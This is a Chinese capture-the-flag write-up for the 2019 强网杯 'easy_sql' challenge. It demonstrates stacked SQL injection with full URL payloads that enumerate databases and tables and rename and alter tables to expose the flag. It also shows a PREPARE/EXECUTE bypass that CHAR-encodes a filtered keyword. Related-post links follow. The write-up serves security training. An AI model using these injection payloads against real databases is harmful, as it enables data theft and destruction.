WriteUp_easy_sql_堆叠注入_强网杯2019
题目描述
随便注

解题过程
查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入;
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
在表单中加入单引号'试错,发现SQL语法错误
http://159.138.137.79:53698/?inject=1'
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at
这说明为GET型SQL注入漏洞。考虑联合注入;
判断列数
- 采用
order by
http://159.138.137.79:53698/?inject=1' and 1=2 order by 3 --+ - 经判断列数为2
尝试通过联合查询,查询有用信息
http://159.138.137.79:53698/?inject=1' and 1=2 union select database(),user() --+
发现某些关键字被过滤
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这样我们便不能通过联合查询进行注入了。
这时考虑堆叠注入
使用分号结束上一个语句再叠加其他语句一起执行;
查询所有数据库
http://159.138.137.79:53698/?inject=1' and 1=2; show databases;--+
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
显示所有表
http://159.138.137.79:53698/?inject=1' and 1=2; show tables;--+
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
查询表的结构
http://159.138.137.79:53698/?inject=1' and 1=2; desc `1919810931114514`;--+
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
由此可知,默认查询的表为words表,而flag在另一个表中。
我们可以将另一个表改设为默认查询的表。
http://159.138.137.79:53698/?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
相关知识
堆叠注入
在正常的语句后面加分号(;),可顺序执行多条语句,从而造成注入漏洞。
Mysql语句
显示表的列的信息
show columns from table_namedesc table_nameselect * from information_schema.columns where table_schema="" and table_name=""
更改表的名字
RENAME TABLE tbl_name TO new_tbl_name[, tbl_name2 TO new_tbl_name2,...]alter table table_name to new name
更改字段的名字
alter table t_app change name app_name varchar(20) not null;
第二种做法
使用PHP的预处理语句
SET @sql = variable; //设置变量
PREPARE pre from '[my sql sequece]'; //预定义SQL语句
EXECUTE pre; //执行预定义SQL语句sqla
SET @sql = concat(CHAR(115, 101, 108, 101, 99, 116)," * from `1919810931114514`") ;
PREPARE pre from @sql;
EXECUTE pre;
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
WriteUp_easy_sql_堆叠注入_强网杯2019的更多相关文章
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)
然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...
- BUUCTF[强网杯 2019]随便注(堆叠注入)
记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...
- [BUUOJ记录] [强网杯 2019]随便注(三种方法)
本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...
- [强网杯 2019]Upload
0x00 知识点 代码审计,PHP 反序列化. 0x01 解题 先注册一个账号,再登陆 上传 简单测试一下: 只能上传能被正常查看的 png. F12看到文件上传路径 扫扫敏感文件 存在:/www.t ...
- [原题复现]强网杯 2019 WEB高明的黑客
简介 原题复现: 考察知识点:python代码编写能力... 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...
- [强网杯2019]upload buuoj
提示:重点在这,可节省大部分时间 扫描后台 发现www.tar.gz备份文件. 这平台有429[太多请求限制]防护.dirsearch扫描一堆429.于是用了最笨的方法. 文件上传 先注册个账号 注册 ...
- 堆叠注入tips
漏洞成因 使用mysqli_multi_query()这种支持多语句执行的函数 使用PDO的方式进行数据查询,创建PDO实例时PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为tr ...
随机推荐
- [php]微信测试号调取acces_token,自定义菜单以及被动响应消息
<?php /**自己写的 */ $wechatObj = new wechatCallbackapiTest(); $wechatObj->valid(); $wechatObj-> ...
- 随笔之——伪类选择器:nth-child(n) 与 nth-of-type(n)的区别!!!
话不多说!直接正题!!! 一.E:nth-child(n)///选中父元素中第(n)个元素.若第n个元素为E则选中:若第n个不为E则不选中.n可以为2n(偶数).2n+1(奇数).等... 二.E:n ...
- 数据结构(C语言版)---排序
1.排序:重排表中元素. 2.根据数据元素是否完全在内存中,将排序算法分为内部排序和外部排序两类. 3.插入排序:将一个待排序记录按关键字大小插入到前面已排好的子序列中,直到全部记录插入完成. 1)直 ...
- Python Flask构建微信小程序订餐系统 学习 资源
一.Flask MVC框架结构 1.1实际项目结构 1.2application.py 项目配置文件Flask之flask-script模块使用 static.py 文件(部署到生成环境不需 ...
- 0day笔记(1)PE文件格式与虚拟文件内存的映射
PE文件格式 PE 文件格式把可执行文件分成若干个数据节(section),不同的资源被存放在不同的节中. 一个典型的 PE 文件中包含的节如下: .text 存放着二进制的机器代码 .data 初始 ...
- Mac home 目录下创建文件夹
example:sudo vim /etc/auto_master before: # Automounter master map +auto_master # Use directory serv ...
- PHP使用token防止表单重复提交的方法
本文实例讲述了PHP使用token防止表单重复提交的方法.分享给大家供大家参考,具体如下: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 2 ...
- 2019-2020-1 20199328《Linux内核原理与分析》第四周作业
<Linux内核原理与分析>第四周作业 步骤一 首先我们指定一个内核并指定内存根文件系统,这里的bzImage是vmLinux经过gzip压缩的内核,"b"表示&quo ...
- Ubuntu syslog 太多的 named[1195]: error (network unreachable) resolving './DNSKEY/IN': 2001:7fd::1#53
Edit file /etc/default/bind9: # run resolvconf? RESOLVCONF=yes # startup options for the server OPTI ...
- ansible的模块使用
转载于 https://www.cnblogs.com/franknihao/p/8631302.html [Ansible 模块] 就如python库一样,ansible的模块也分成了基本模块和 ...